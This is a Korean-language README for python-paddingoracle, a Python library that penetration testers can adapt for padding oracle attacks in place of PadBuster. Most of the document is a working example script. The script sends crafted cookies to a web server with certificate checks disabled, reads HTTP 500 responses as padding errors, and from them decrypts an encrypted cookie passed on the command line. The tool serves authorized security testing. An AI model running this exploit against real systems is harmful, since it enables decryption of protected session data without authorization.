
휴대용 패딩 오라클 익스플로잇 API
PYTHON 3용으로 업데이트됨
python-paddingoracle는 PadBuster_ 및 다른 패딩 오라클 익스플로잇 도구에
대한 맞춤형 대안을 침투 테스터에게 제공하는 API입니다. 이러한 도구들은
대규모 재작성 없이는 고유한 애플리케이션별 시나리오에서 쉽게 사용할 수 없습니다.
비 HTTP 애플리케이션, 원시 소켓, 클라이언트 애플리케이션, 고유 인코딩 등을 생각해 보세요.
paddingoracle API를 사용하려면 PaddingOracle API의 oracle() 메서드를 구현하고, 복호화기가 패딩 오라클을 감지하면 BadPaddingException을 발생시키기만 하면 됩니다. 데이터를 복호화하려면 암호화된 원시 바이트를 블록 크기(일반적으로 8 또는 16) 및 선택적 iv 매개변수와 함께 **decrypt()**에 전달하십시오.
아래에서 예제(the example_ 참조)를 확인하세요: ::
from paddingoracle import BadPaddingException, PaddingOracle
from base64 import b64encode, b64decode
from urllib.parse import quote, unquote
import requests
import socket
import time
class PadBuster(PaddingOracle):
def __init__(self, **kwargs):
super(PadBuster, self).__init__(**kwargs)
self.session = requests.Session()
self.wait = kwargs.get('wait', 2.0)
def oracle(self, data, **kwargs):
somecookie = quote(b64encode(data))
self.session.cookies['somecookie'] = somecookie
while 1:
try:
response = self.session.get('http://www.example.com/',
stream=False, timeout=5, verify=False)
break
except (socket.error, requests.exceptions.RequestException):
logging.exception('Retrying request in %.2f seconds...',
self.wait)
time.sleep(self.wait)
continue
self.history.append(response)
if response.ok:
logging.debug('No padding exception raised on %r', somecookie)
return
# An HTTP 500 error was returned, likely due to incorrect padding
raise BadPaddingException
if __name__ == '__main__':
import logging
import sys
if not sys.argv[1:]:
print('Usage: %s <somecookie value>' % (sys.argv[0], ))
sys.exit(1)
logging.basicConfig(level=logging.DEBUG)
encrypted_cookie = b64decode(unquote(sys.argv[1]))
padbuster = PadBuster()
cookie = padbuster.decrypt(encrypted_cookie, block_size=8, iv=bytearray(8))
print('Decrypted somecookie: %s => %r' % (sys.argv[1], cookie))
python-paddingoracle는 PadBuster_를 크게 기반으로 한 Python 구현입니다.
PadBuster_는 Gotham Digital Science의 Brian Holyfield가 개발한
패딩 오라클 공격을 수행하는 자동화 스크립트입니다.
.. _the example: https://github.com/mwielgoszewski/python-paddingoracle/blob/master/example.py
.. _PadBuster: https://github.com/GDSSecurity/PadBuster